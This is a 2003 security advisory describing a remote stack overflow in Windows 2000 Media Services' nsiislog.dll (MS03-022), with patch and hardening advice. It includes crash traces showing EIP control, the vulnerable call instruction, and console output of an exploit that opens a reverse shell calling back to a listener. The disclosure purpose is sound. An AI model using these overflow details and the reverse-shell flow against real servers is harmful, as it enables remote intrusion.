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## Security-Assessment.com – Vulnerability Advisory

<b>Name</b>	Windows Media Services Remote Command Execution #2
<b>Microsoft Advisory</b>	<a href="http://www.microsoft.com/technet/security/bulletin/ms03-022.asp">http://www.microsoft.com/technet/security/bulletin/ms03-022.asp</a>
<b>Date Released</b>	June 25, 2003
<b>Affected Software</b>	Microsoft Windows 2000
<b>Researcher</b>	Brett Moore <a href="mailto:brett.moore@security-assessment.com">brett.moore@security-assessment.com</a>

### Description

The nsislog.dll module does not properly handle large post requests that are sent using the normal transfer method. By posting a request with a large body, an attacker can cause an IIS subsystem to stop with an access violation error, resulting in the following log message.

Event Type: Warning
Event Source: W3SVC
Event Category:None
Event ID: 37
Description: Out of process application '/LM/W3SVC/1/Root' terminated unexpectedly.

This results in a standard stack based overflow, resulting in execution flow been altered when EIP is set to an attacker supplied value. This allows for remote command execution with privileges associated with the IWAM\_machinename account. This is the account that IIS runs under.

### Solutions

Every day is a 0-day day on the Internet. Limiting the avenues of attack can be a key factor in reducing the risk to a web server. Programs such as secureIIS and URLscan should be setup to reduce the number of methods that can be used to send data to a server. Removing unnecessary services, files and isapi extensions reduces the number of listeners that data can be fed to limiting the number of vulnerabilities that a server is susceptible to.

Install the vendor supplied patch.

<http://www.microsoft.com/technet/security/bulletin/ms03-022.asp>

### About Security-Assessment.com

Security-Assessment.com is a leader in intrusion testing and security code review, and leads the world with SA-ISO, online ISO17799 compliance management solution. Security-Assessment.com is committed to security research and development, and its team have previously identified a number of vulnerabilities in public and private software vendors products.

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## Technical Details

== Standard HTTP Post ==

```
POST /scripts/nsiislog.dll HTTP/1.1
content-length: <postlength>
```

<post data>

```
Using Size: 4354
Connecting....Sending Buffer....
78028E9F  mov al,byte ptr [esi]  ESI = 00B138B4
```

```
Using Size: 5000
Connecting....Sending Buffer....
40F01F3B  repne scas byte ptr [edi] EDI = 58585858
```

```
Using Size: 25000
Connecting....Sending Buffer....
78005994  mov dword ptr [edi],edx  EDX = 58585858
-
58585858  ??? illegal op          EIP = 58585858
```

== Exploitation ==

Commonly referred to as a stack based overflow, control is taken when the EIP is set to a value from the stack. Widely known and easily exploitable by using a call or jmp instruction or in the worst case a brute force technique of direct jumps.

In this case control is taken when a value is obtained from the stack and then used in a direct call.

```
77FB98E1  mov     ecx,dword ptr [ebp+18h]
77FB98E4  call   ecx
```

== Exploit Example ==

```
%:\>exploit 192.168.1.63
** IISNSLOG.DLL - Remote Shell **
```

```
. Calling Home: blackhole:2000
. Shellcode Size: 322 bytes
. Preparing Exploit Buffer.....Ready
. Starting Listener On Port: 2000
. Connecting To Target
. Sending Exploit.....Exploit Sent
. Connection Received
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
IWAM_BLACKHOLE
C:\WINNT\system32>
```

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